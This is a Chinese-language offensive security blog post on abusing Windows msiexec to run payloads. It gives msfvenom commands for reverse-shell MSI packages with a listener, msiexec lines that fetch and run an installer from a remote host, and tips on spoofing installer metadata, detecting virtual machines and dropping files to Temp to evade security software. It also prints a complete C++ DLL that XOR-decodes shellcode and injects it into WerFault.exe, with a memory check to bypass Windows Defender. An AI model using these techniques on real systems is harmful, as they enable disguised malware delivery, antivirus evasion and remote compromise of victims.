Windows Installer安装包的构建和执行


0x01 简介

Msiexec是WIndows上从命令行执行Windows Installer上安装、修改和执行操作的方法。Msiexec存在一个Windows Installer服务以便在需要的时候进行调用,服务中将Msiexec描述为添加、修改和删除作为 Windows Installer 程序包(.msi、.msp)提供的应用程序。二进制文件为msiexec.exe,默认存在于C:\Windows\System32\目录下且默认存在于系统环境变量中,可通过命令行调用。
msiexec.exe属于系统文件,并且可用于加载恶意msi文件获得代码执行能力,所以经常也被用来进行基于系统文件白名单的代理执行。

0x02 MSI文件构建和执行

在利用msiexec进行代理执行时,需要先构建MSI文件,在没有其他需求的情况下,可以使用metasploit快速生成msi安装包:

#生成msi类型的载荷
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi -o rev_x64_8888.msi
#生成msi-nouac类型的载荷
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi-nouac -o rev_x64_8888msi-nouac.msi
#开启监听
handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888

生成后安装方式除了在可视化界面安装,还可以通过msiexec命令行执行本地或网络上的msi安装包获得代码执行:

msiexec /q /i MsiexecSetup.msi
msiexec /q /i http://192.168.11.1/MsiexecSetup.msi

这里是使用msiexec命令加载msi安装包执行的简单用例,这在一些存在命令执行漏洞的位置可以发挥一定的效果。

0x2-1 Visual Studio的MSI扩展

上文介绍了使用Metasploit简单生成msi安装包的方式,实际利用中需要定制化载荷执行,可以通过Visual Studio扩展Microsoft Visual Studio Installer Projects来生成MSI安装包(或InstallShield、Advanced Installer等工具)。通过该扩展可以自定义设置要执行的二进制或脚本文件,这些二进制和脚本文件都可以进行定制开发嵌入到MSI安装包中,扩展安装方式比较简单,操作如下:

在扩展里联机搜索: Microsoft Visual Studio Installer Projects

安装完成后重启VS,新建项目时搜索 Setup Project 选择项目模板:

在MSI安装包项目中,可以设置安装程序在目标主机上执行的文件、注册表、快捷方式等操作:

其中主要就是利用文件系统和自定义操作选项,可以设置将在目标主机上释放的文件和执行的命令:

在文件系统选项中选择要添加的文件:

自定义选项中可以设置在安装、修复、回滚、卸载阶段执行的命令:

0x2-1-1 MSI安装包属性设置

在扩展中可以对安装包的属性进行设置,部分属性会在msi文件的详细信息中体现,所以可以对属性进行一些伪造欺骗:

伪造一个Apple的安装包:

一些开发者属性信息会自动用于应用目录的设置:

在属性中有一个 installAllUsers 的属性,如果选择True时,在管理员权限下msiexec会使用SYSTEM权限执行安装:

在属性中还可以设置图标(一个免费的图标获取网站:https://icons8.com/app/windows ):

图标设置后会在控制面板程序中看到:

其他msi安装包中的图标可以通过 Orca 工具(SDK中的安装包名为Orca-x86_en-us.msi)中的Tables-Export Tables功能提取文件:

更多的属性可参考微软文档:property-reference ,msi安装包的属性在下文设置执行条件时还会使用。

0x2-1-2 MSI安装包启动条件设置

在项目view菜单中可以设置启动条件,用于检查当前执行环境是否可以继续安装:

这个配置中主要使用的是Launch Conditions来添加执行条件,根据上文参考链接中的属性,可以设置硬件属性中的内存、分辨率来检测虚拟机:

执行效果:

对于一些其他商业软件可进行的复杂条件设置,可以通过Orca查看然后学走:

一些常见的条件设置可以参考InstallShield:

并且在安装时可以使用msiexec /q /i MsiexecSetup.msi /log 123.log方式输出日志文件,通过对比日志文件进行更详细的条件设置:

并且可以注意到内存并不是标准的32GB(32768MB)数值,而是会略微较小(32588MB),这是一个需要注意的点。如果在测试过程中安装失败,也可以在日志中看到错误代码。错误代码的详细信息可以在官方文档中查询到:windows-installer-error-messages

0x2-2 MSI中执行载荷

MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。常用操作是通过文件系统管理添加要执行的文件,然后在自定义操作中设置在几个阶段要执行的文件。文件释放位置可以使用系统文件夹属性变量:

在文件系统中可以新增自定义文件夹来使用不同的文件夹属性值,释放文件到Temp目录一定程度上可以规避安全软件:

添加完成后,在自定义操作中设置在安装阶段执行文件,选择之前添加的文件位置:

设置文件的执行动作时,可以在属性栏中设置EXE文件启动参数、DLL文件入口函数:

DLL文件的导出函数需要使用下列方式声明:

extern "C" __declspec(dllexport) UINT __stdcall Install(MSIHANDLE hInstall)
{
    RunYourSteps();
    return ERROR_SUCCESS;
}

另外需要注意的是可执行文件和msi安装包的PlatForm需要正确设置,在msi项目属性中(dll是64位的,msi对应属性也设置为64位):

自定义操作中针对文件设置:

通过在msi安装程序中利用dll文件执行(xor还原stage payload后创建进程注入)绕过WinDefender静态扫描和动态查杀:

0x02 MSIEXEC加载DLL执行

msiexec程序也可以加载DLL执行,前提是DLL文件在磁盘上存在并且是64位的。通过命令行调用DLL中的DllRegisterServer或DllUnRegisterServer导出函数:

命令行执行时需要注意文件路径:

# DllUnRegisterServer
msiexec /z C:\windows\tmp\run.dll
# DllRegisterServer
msiexec /y ..\..\..\windows\tmp\run.dll
# 执行run.dll文件 DllRegisterServer
msiexec /y ..\..\..\windows\tmp\run
# 执行 .dll 文件 DllRegisterServer
msiexec /y .\

测试时发现在测试环境中/z参数不能触发DllUnRegisterServer的执行,这可以直接在dllmain函数中进行想要的操作:

这就可以自定义DLL后通过msiexec加载了。一般WIndows会自带WinDefender安全软件,我们在Dllmain中简单判断下当前的物理内存大小,可以绕过它的模拟执行检测,简单Demo如下:

#include "pch.h"
#include <iostream>
#include <tchar.h>
#include <stdio.h>
#include <windows.h>
#include <msi.h>
#include <msiquery.h>
#include <sddl.h>
#pragma comment(lib, "Msi.lib")
HMODULE g_hModule;
BOOL Inject_Shellcode();
BOOL SpawnProcess(char* runcmdline);

BOOL PhysicalMemory() {
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    GlobalMemoryStatusEx(&statex);
    DWORD PhysicalMem = 0;
    BOOL rt = FALSE;
    PhysicalMem = statex.ullTotalPhys / 1024 / 1024;
    if (PhysicalMem > 2022) {
        rt = TRUE;
    }
    return rt;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    g_hModule = hModule;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        HANDLE Mutexlock = CreateMutexA(NULL, FALSE, "CreateMutexA-yanghaoi");
        if (GetLastError() == ERROR_ALREADY_EXISTS)
        {
            if (Mutexlock != NULL) CloseHandle(Mutexlock);
            Mutexlock = NULL;
        }
        else {
            if (PhysicalMemory()) {
                // MessageBox(NULL, "Hello Dllmain!", "MessageBox", MB_OK);
                Inject_Shellcode();
            }
            return ERROR_SUCCESS;
        }
        return 0;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

BOOL Inject_Shellcode()
{
    unsigned char hexData[927] = {
        0xAE, 0x1A, 0x00 , // shellcode
    };

    DWORD size = sizeof(hexData);
    unsigned char ar[sizeof(hexData)];
    for (int i = 0; i <= size - 1; i++)
    {
        ar[i] = hexData[i] ^ 0x52;
    }
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID lpMalwareBaseAddr;
    LPVOID lpnewVictimBaseAddr;
    HANDLE hThread;
    BOOL bRet = FALSE;
    DWORD dwOldProtect;
    lpMalwareBaseAddr = ar;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    char* Process = (char*)"C:\\Windows\\System32\\WerFault.exe";
    if (CreateProcessA(NULL, Process, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0) { return bRet; }
    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpnewVictimBaseAddr == NULL) {
        printf("[-] VirtualAllocEx error:%d\n", GetLastError());
        if (!TerminateProcess(pi.hProcess, 0)) {
            printf("[-] TerminateProcess error:%d\n", GetLastError());
        }
        return bRet;
    }
    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, size, NULL);
    hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
    WaitForSingleObject(pi.hThread, 2000);
    if (NULL != pi.hProcess)
    {
        CloseHandle(pi.hProcess);
    }

    if (NULL != pi.hThread)
    {
        CloseHandle(pi.hThread);
    }
    return bRet;
}

BOOL SpawnProcess(char* runcmdline) {
    printf("[*] runcmdline:%s\n", runcmdline);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.wShowWindow = SW_HIDE;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    if (!CreateProcessA(NULL, runcmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { return FALSE; }
    printf("[+] ProcessId:%d \n", pi.dwProcessId);
    printf("[+] ThreadId:%d \n", pi.dwThreadId);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

编译为x64的dll后,使用msiexec /z .\Msiexec在开启WinDefender的环境下执行:

0x04 总结

文章对msi安装包的制作、载荷执行、命令执行方式进行了整理和实验,并对一些容易出现问题的地方进行了说明或提出解决方案。文章实现了在msi安装包中执行自定义程序,实现了msiexec命令执行dll和安全软件检测绕过。可以进行社工msi安装包制作、白名单命令代理执行等。

0x05 参考链接

Signed Binary Proxy Execution
msiexec-commands
msi-property
msiexec-hacker


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
利用Azure Attest Service持久化 利用Azure Attest Service持久化
由于Azure Attest Service服务安装程序未对服务DLL进行安全验证,可通过命令行注册服务DLL,可利用该特点绕过安全软件监控进行权限维持。
2022-08-29
下一篇 
360隔离沙箱逃逸 360隔离沙箱逃逸
研究在360安全沙箱环境下的几种沙箱逃逸,分析这些方式的权限和区别,最后使用最优的利用方式进行POC和EXP的编写,并完成实验。
  目录